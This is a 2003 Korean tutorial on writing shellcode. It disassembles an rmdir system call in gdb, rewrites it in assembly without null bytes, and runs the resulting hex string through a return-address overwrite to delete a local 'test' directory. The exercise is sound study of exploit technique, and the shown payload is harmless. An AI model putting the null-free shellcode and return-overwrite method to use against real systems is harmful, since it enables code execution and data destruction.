rmdir 시스템 콜 16진수 코드짜기
writer : ttongfly@realskulls.org2003. 9. 23
homepage : http://ttongfly.realskulls.org
테스트 환경은 다음과 같습니다.
[root@localhost bof]# uname -a
Linux localhost.localdomain 2.4.20-7 #1 목 4월 10 11:40:17 KST 2003 i686 i686 i386 GNU/Linux
[root@localhost bof]# gcc -v
Reading specs from /usr/lib/gcc-lib/i386-hancom-linux/3.2.3/specs
Configured with: ../configure –prefix=/usr –mandir=/usr/share/man –infodir=/usr/share/info –enable-shared –enable-threads=posix –disable-checking –with-system-zlib –enable-__cxa_atexit –host=i386-hancom-linux
Thread model: posix
gcc version 3.2.3 20030422 (Hancom Linux 3.2.3)
이제부터 rmdir () 시스템콜을 16진수로 짜보도록 하겠습니다.
[root@localhost bof]# cat rmdir1.c
main()
{
rmdir(“test”);
}
[root@localhost bof]# gcc rmdir1.c -o rmdir1 -mpreferred-stack-boundary=2 -static
[root@localhost bof]# mkdir test
[root@localhost bof]# dir -al
합계 412
drwxr-xr-x3 root root 40969월 23 01:27 .
drwxr-x— 17 root root 40969월 23 01:26 ..
-rwxr-xr-x1 root root 3987369월 23 01:27 rmdir1
-rw-r–r–1 root root 269월 23 01:24 rmdir1.c
drwxr-xr-x2 root root 40969월 23 01:27 test
[root@localhost bof]# ./rmdir1
[root@localhost bof]# dir -al
합계 408
drwxr-xr-x2 root root 40969월 23 01:27 .
drwxr-x— 17 root root 40969월 23 01:26 ..
-rwxr-xr-x1 root root 3987369월 23 01:27 rmdir1
-rw-r–r–1 root root 269월 23 01:24 rmdir1.c
자 프로그램이 정상적으로 test란 디렉토리를 지운것을 확인할 수 있습니다.^^
그럼 프로그램을 gdb를 이용하여 덤프를 구하도록 하겠습니다.
[root@localhost bof]# gdb -q rmdir1
(gdb) disass main
Dump of assembler code for function main:
0x80481d0 main: push %ebp
0x80481d1 main+1: mov%esp,%ebp
0x80481d3 main+3: push $0x80896e8
0x80481d8 main+8: call 0x804cb30 rmdir
0x80481dd main+13:add$0x4,%esp
0x80481e0 main+16:leave
0x80481e1 main+17:ret
0x80481e2 main+18:nop
0x80481e3 main+19:nop
End of assembler dump.
(gdb) disass rmdir
Dump of assembler code for function rmdir:
0x804cb30 rmdir:mov%ebx,%edx
0x804cb32 rmdir+2:mov0x4(%esp,1),%ebx
0x804cb36 rmdir+6:mov$0x28,%eax
0x804cb3b rmdir+11: int$0x80
0x804cb3d rmdir+13: mov%edx,%ebx
0x804cb3f rmdir+15: cmp$0xfffff001,%eax
0x804cb44 rmdir+20: jae0x804d080 __syscall_error
0x804cb4a rmdir+26: ret
0x804cb4b rmdir+27: nop
End of assembler dump.
(gdb)
자 프로그램을 분석해보면^^
0x80481d3 main+3: push $0x80896e8
0x80481d8 main+8: call 0x804cb30 rmdir
0x80896e8의 값을 스택에 넣고 rmdir을 호출함을 알 수 있습니다.
(gdb) x/16c 0x80896e8
0x80896e8 _IO_stdin_used+4: 116 \’t\’ 101 \’e\’ 115 \’s\’ 116 \’t\’ 0 \’\\0\’47 \’/\’100 \’d\’ 101 \’e\’
0x80896f0 _IO_stdin_used+12:118 \’v\’ 47 \’/\’110 \’n\’ 117 \’u\’ 108 \’l\’ 108 \’l\’ 0 \’\\0\’0 \’\\0\’
(gdb)
0x80896e8에는 test라는 값이 들어있음을 알 수 있습니다.^^
0x804cb30 rmdir:mov%ebx,%edx
0x804cb32 rmdir+2:mov0x4(%esp,1),%ebx
0x804cb36 rmdir+6:mov$0x28,%eax
0x804cb3b rmdir+11: int$0x80
이 부분에서는 %esp를 기준으로 해서 4바이트 높은 위치의 값을 %ebx 레지스터에 넣습니다.
아까 푸시한 0x80896e8 의 값이겠죠? test
(gdb) b *rmdir+2
Breakpoint 1 at 0x804cb32
(gdb) r
Starting program: /root/bof/rmdir1
Breakpoint 1, 0x0804cb32 in rmdir ()
(gdb) x/16x $esp+4
0xbffff904: 0xe80x960x080x080x380xf90xff0xbf
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
0xbffff90c: 0xa80x820x040x080x010x000x000x00
(gdb)
아까 test값이 저장된 0x80896e8이 저장되어 있음을 알 수 있습니다.
(gdb) b *rmdir+6
Breakpoint 1 at 0x804cb36
(gdb) r
Starting program: /root/bof/rmdir1
Breakpoint 1, 0x0804cb36 in rmdir ()
(gdb) info reg ebx
ebx0x80896e8134780648
%ebx레지스터에도 0x80896e8값이 고스란히 잘 들어있군요 ^^; 우엥
%eax에는 0x28을 넣어 rmdir 의 시스템 칼을 호출합니다.
정리해보면
%eax에는 $0x28( rmdir 의 시스템 콜 function값 )
%ebx에는 0x80896e8값.. 음.. 삭제할 디렉토리명인 “test”의 값이죠
bang1575님의 문서처럼 여기서 int $0x80 하면 프로그램이 실행되는 것이겠죠?
이제 기본적으로 test 라는 디렉토리를 삭제하는 어셈코드를 짜보겠습니다.^^
[root@localhost bof]# cat rmdir2.s
.LC0:
.string “test”
.global main
main:
movl$0x28, %eax
movl$.LC0, %ebx
int $0x80
movl$0x01, %eax
movl$0x00, %ebx
int $0x80
ret
[root@localhost bof]# gcc -o rmdir2 rmdir2.s
[root@localhost bof]# dir -al
합계 428
drwxr-xr-x3 root root 40969월 23 01:50 .
drwxr-x— 17 root root 40969월 23 01:45 ..
-rwxr-xr-x1 root root 3987369월 23 01:27 rmdir1
-rw-r–r–1 root root 269월 23 01:24 rmdir1.c
-rwxr-xr-x1 root root 94049월 23 01:50 rmdir2
-rw-r–r–1 root root1399월 23 01:50 rmdir2.s
drwxr-xr-x2 root root 40969월 23 01:40 test
[root@localhost bof]# ./rmdir2
[root@localhost bof]# dir -al
합계 424
drwxr-xr-x2 root root 40969월 23 01:51 .
drwxr-x— 17 root root 40969월 23 01:51 ..
-rwxr-xr-x1 root root 3987369월 23 01:27 rmdir1
-rw-r–r–1 root root 269월 23 01:24 rmdir1.c
-rwxr-xr-x1 root root 94049월 23 01:50 rmdir2
-rw-r–r–1 root root1399월 23 01:50 rmdir2.s
[root@localhost bof]#
성공적으로 test 디렉토리가 삭제된것을 확인할 수 있습니다.^^
직접 디렉토리명을 지정해 줄 수 있게 어셈코드를 만들어보겠습니다.
[root@localhost bof]# cat rmdir3.s
.global main
main:
jmpstrings
start:popl%esi
movl$0x28, %eax
movl%esi, %ebx
int$0x80
movl$0x01, %eax
movl$0x00, %ebx
int$0x80
strings:call start
.string “test”
[root@localhost bof]# gcc -o rmdir3 rmdir3.s
[root@localhost bof]# dir -al
합계 444
drwxr-xr-x3 root root 40969월 23 01:56 .
drwxr-x— 17 root root 40969월 23 01:56 ..
-rwxr-xr-x1 root root 3987369월 23 01:27 rmdir1
-rw-r–r–1 root root 269월 23 01:24 rmdir1.c
-rwxr-xr-x1 root root 94049월 23 01:50 rmdir2
-rw-r–r–1 root root1399월 23 01:50 rmdir2.s
-rwxr-xr-x1 root root 94509월 23 01:56 rmdir3
-rw-r–r–1 root root1779월 23 01:56 rmdir3.s
drwxr-xr-x2 root root 40969월 23 01:56 test
[root@localhost bof]# ./rmdir3
[root@localhost bof]# dir -al
합계 440
drwxr-xr-x2 root root 40969월 23 01:56 .
drwxr-x— 17 root root 40969월 23 01:56 ..
-rwxr-xr-x1 root root 3987369월 23 01:27 rmdir1
-rw-r–r–1 root root 269월 23 01:24 rmdir1.c
-rwxr-xr-x1 root root 94049월 23 01:50 rmdir2
-rw-r–r–1 root root1399월 23 01:50 rmdir2.s
-rwxr-xr-x1 root root 94509월 23 01:56 rmdir3
-rw-r–r–1 root root1779월 23 01:56 rmdir3.s
[root@localhost bof]#
프로그램이 정상적으로 실행됨을 알 수 있습니다.
objdump를 통해 16진수 코드로 만들어 보겠습니다.^^
[root@localhost bof]# objdump -d rmdir3
rmdir3: file format elf32-i386
……. 여러가지 등등
080482f4 main:
80482f4: eb 16 jmp804830c strings
080482f6 start:
80482f6: 5epop%esi
80482f7: b8 28 00 00 00mov$0x28,%eax
80482fc: 89 f3 mov%esi,%ebx
80482fe: cd 80 int$0x80
8048300: b8 01 00 00 00mov$0x1,%eax
8048305: bb 00 00 00 00mov$0x0,%ebx
804830a: cd 80 int$0x80
0804830c strings:
804830c: e8 e5 ff ff ffcall 80482f6 start
8048311: 74 65 je 8048378 _IO_stdin_used+0x1c
8048313: 73 74 jae8048389 _IO_stdin_used+0x2d
8048315: 00 90 90 55 89 e5 add%dl,0xe5895590(%eax)
……. 여러가지 등등
[root@localhost bof]#
음 -_-; bang1575님의 문서처럼 \\x00들이 무지하게 들어가있군요.. 고쳐보도록 하지요..
mov$0x28,%eax – xor %eax, %eax
movb $0x28, %al
mov$0x1,%eax – xor %eax, %eax
movb $0x01, %al
mov$0x0,%ebx – xor %ebx, %ebx
[root@localhost bof]# cat rmdir4.s
.global main
main:
jmp strings
start:popl%esi
xor %eax, %eax
movb$0x28, %al
movl%esi, %ebx
int $0x80
xor %eax, %eax
movb$0x01, %al
xor %ebx, %ebx
int $0x80
strings:call start
.string “test”
[root@localhost bof]# gcc -o rmdir4 rmdir4.s
[root@localhost bof]# objdump -d rmdir4
……. 여러가지 등등
080482f4 main:
80482f4: eb 11 jmp8048307 strings
080482f6 start:
80482f6: 5epop%esi
80482f7: 31 c0 xor%eax,%eax
80482f9: b0 28 mov$0x28,%al
80482fb: 89 f3 mov%esi,%ebx
80482fd: cd 80 int$0x80
80482ff: 31 c0 xor%eax,%eax
8048301: b0 01 mov$0x1,%al
8048303: 31 db xor%ebx,%ebx
8048305: cd 80 int$0x80
08048307 strings:
8048307: e8 ea ff ff ffcall 80482f6 start
804830c: 74 65 je 8048373 _IO_stdin_used+0x1b
804830e: 73 74 jae8048384 _IO_stdin_used+0x2c
8048310: 00 90 90 90 55 89 add%dl,0x89559090(%eax)
……. 여러가지 등등
[root@localhost bof]# mkdir test
[root@localhost bof]# dir -al
합계 460
drwxr-xr-x3 root root 40969월 23 02:06 .
drwxr-x— 17 root root 40969월 23 02:05 ..
-rwxr-xr-x1 root root 3987369월 23 01:27 rmdir1
-rw-r–r–1 root root 269월 23 01:24 rmdir1.c
-rwxr-xr-x1 root root 94049월 23 01:50 rmdir2
-rw-r–r–1 root root1399월 23 01:50 rmdir2.s
-rwxr-xr-x1 root root 94509월 23 01:56 rmdir3
-rw-r–r–1 root root1779월 23 01:56 rmdir3.s
-rwxr-xr-x1 root root 94509월 23 02:06 rmdir4
-rw-r–r–1 root root2059월 23 02:05 rmdir4.s
drwxr-xr-x2 root root 40969월 23 02:06 test
[root@localhost bof]# ./rmdir4
[root@localhost bof]# dir -al
합계 456
drwxr-xr-x2 root root 40969월 23 02:06 .
drwxr-x— 17 root root 40969월 23 02:05 ..
-rwxr-xr-x1 root root 3987369월 23 01:27 rmdir1
-rw-r–r–1 root root 269월 23 01:24 rmdir1.c
-rwxr-xr-x1 root root 94049월 23 01:50 rmdir2
-rw-r–r–1 root root1399월 23 01:50 rmdir2.s
-rwxr-xr-x1 root root 94509월 23 01:56 rmdir3
-rw-r–r–1 root root1779월 23 01:56 rmdir3.s
-rwxr-xr-x1 root root 94509월 23 02:06 rmdir4
-rw-r–r–1 root root2059월 23 02:05 rmdir4.s
[root@localhost bof]#
16진 코드상에 \\x00도 없고, 프로그램도 정상적으로 작동합니다.
위의 표시된 16진 코드를 따와 실행해보면
[root@localhost bof]# cat rmdir5.c
char print_code[]=
“\\xeb\\x11\\x5e\\x31\\xc0\\xb0\\x28\\x89\\xf3\\xcd\\x80\\x31\\xc0\\xb0\\x01\\x31\\xdb\\xcd\\x80\\xe8\\xea\\xff\\xff\\xff”
“test”;
main()
{
int *ret;
ret = (int *)&ret+2;
(*ret) = (int)print_code;
}
[root@localhost bof]# gcc -o rmdir5 rmdir5.c
[root@localhost bof]# mkdir test
[root@localhost bof]# dir -al
합계 476
drwxr-xr-x3 root root 40969월 23 02:13 .
drwxr-x— 17 root root 40969월 23 02:08 ..
-rwxr-xr-x1 root root 3987369월 23 01:27 rmdir1
-rw-r–r–1 root root 269월 23 01:24 rmdir1.c
-rwxr-xr-x1 root root 94049월 23 01:50 rmdir2
-rw-r–r–1 root root1399월 23 01:50 rmdir2.s
-rwxr-xr-x1 root root 94509월 23 01:56 rmdir3
-rw-r–r–1 root root1779월 23 01:56 rmdir3.s
-rwxr-xr-x1 root root 94509월 23 02:06 rmdir4
-rw-r–r–1 root root2059월 23 02:05 rmdir4.s
-rwxr-xr-x1 root root 95369월 23 02:13 rmdir5
-rw-r–r–1 root root2009월 23 02:13 rmdir5.c
drwxr-xr-x2 root root 40969월 23 02:13 test
[root@localhost bof]# ./rmdir5
[root@localhost bof]# dir -al
합계 472
drwxr-xr-x2 root root 40969월 23 02:13 .
drwxr-x— 17 root root 40969월 23 02:08 ..
-rwxr-xr-x1 root root 3987369월 23 01:27 rmdir1
-rw-r–r–1 root root 269월 23 01:24 rmdir1.c
-rwxr-xr-x1 root root 94049월 23 01:50 rmdir2
-rw-r–r–1 root root1399월 23 01:50 rmdir2.s
-rwxr-xr-x1 root root 94509월 23 01:56 rmdir3
-rw-r–r–1 root root1779월 23 01:56 rmdir3.s
-rwxr-xr-x1 root root 94509월 23 02:06 rmdir4
-rw-r–r–1 root root2059월 23 02:05 rmdir4.s
-rwxr-xr-x1 root root 95369월 23 02:13 rmdir5
-rw-r–r–1 root root2009월 23 02:13 rmdir5.c
[root@localhost bof]#
자 정상적으로.. test디렉토리가 삭제되었습니다.^^
mkdir() 함수를 이용한 것보다 쉽고, 어셈에서 시스템 칼 호출하는부분이 0x27에서 0x28로
바뀐것 밖에는 없지만.. 그냥 한번 해봤습니다.
좀 더 정확히 익힐 차원에서^^
그럼 이만^^